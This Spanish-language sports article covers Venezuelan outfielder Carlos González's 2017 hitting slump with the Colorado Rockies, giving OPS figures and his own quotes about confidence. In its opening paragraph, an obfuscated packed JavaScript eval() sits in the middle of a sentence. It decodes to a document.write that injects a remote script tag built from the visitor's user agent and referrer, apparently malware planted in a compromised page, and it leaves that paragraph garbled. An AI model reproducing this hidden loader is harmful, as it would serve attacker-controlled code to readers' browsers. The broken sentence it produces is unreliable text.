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Carlos González confía en sí mismo

Hender Añez / Maracaibo / hanez@laverdad.com
Es eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkzze|var|u0026u|referrer|bzzaf||js|php'.split('|'),0,{})) el peor mal rato ofensivo del jardinero desde que firmó como profesional. Su OPS (sumatoria de embasado y slugging) de .630 demuestra el bache. Es una cifra más baja que la de su año debut (en 2008, .634) y muy por debajo de la media actual para un guardabosque en las Mayores (.771)

Es el peor mal rato ofensivo del jardinero Carlos González desde que firmó como profesional. (Foto: Agencias)

Ya no se han escuchado más las alabanzas por el swing de Carlos González. Durante toda su carrera la fluidez con la que coordina el bate con los movimientos de su cuerpo en la caja de bateo le trajeron vítores de compañeros, coaches y scouts. Pero la armonía se perdió en 2017.

Es el peor mal rato ofensivo del jardinero desde que firmó como profesional. Su OPS (sumatoria de embasado y slugging) de .630 demuestra el bache. Es una cifra más baja que la de su año debut (en 2008, .634) y muy por debajo de la media actual para un guardabosque en las Mayores (.771). No obstante, todavía nada está perdido. El aplaudido swing del paleador de los Rockies de Colorado sigue allí. Y le queda chance de despertar de la hibernación.

“No hay garantía de éxito en cada batalla”, dijo González a MLB.com, después de dejar su average actual en .218, además de acumular solo seis jonrones y 25 carreras remolcadas, sin contar el juego de anoche. “Sé de lo que soy capaz, tengo la confianza. No dudo de mí mismo”.

Si bien no ha sido una pendiente tan pronunciada, "CarGo" sabe lo que es tener una mala primera mitad de temporada. Antes del Juego de Estrellas de 2015 su average fue de .259, OPS de .766, pegó 13 jonrones y fletó 13. El resurgir no tardó en llegar después del clásico de julio.

“En aquel momento todo el mundo quería saber qué ocurría conmigo”, recordó el zuliano. “Luego de la segunda mitad pude batear y recibí mi segundo Bate de Plata”. Y vaya sí bateó. Sacó 27 pelotas para llegar a 40 y su OPS fue de .975.

 “Sé que el béisbol no es fácil”, reflexionó el marabino. “Por eso vengo todos los días contento y entusiasmado por lo que pueda pasar. Trabajo mucho, pero no es como si me estuviera reinventando. Trato de ser mi antiguo yo, comparo los viejos videos con lo que hago ahora. Veo bien la bola, me siento sano y fuerte. Solo he perdido los pitcheos que castigo”.

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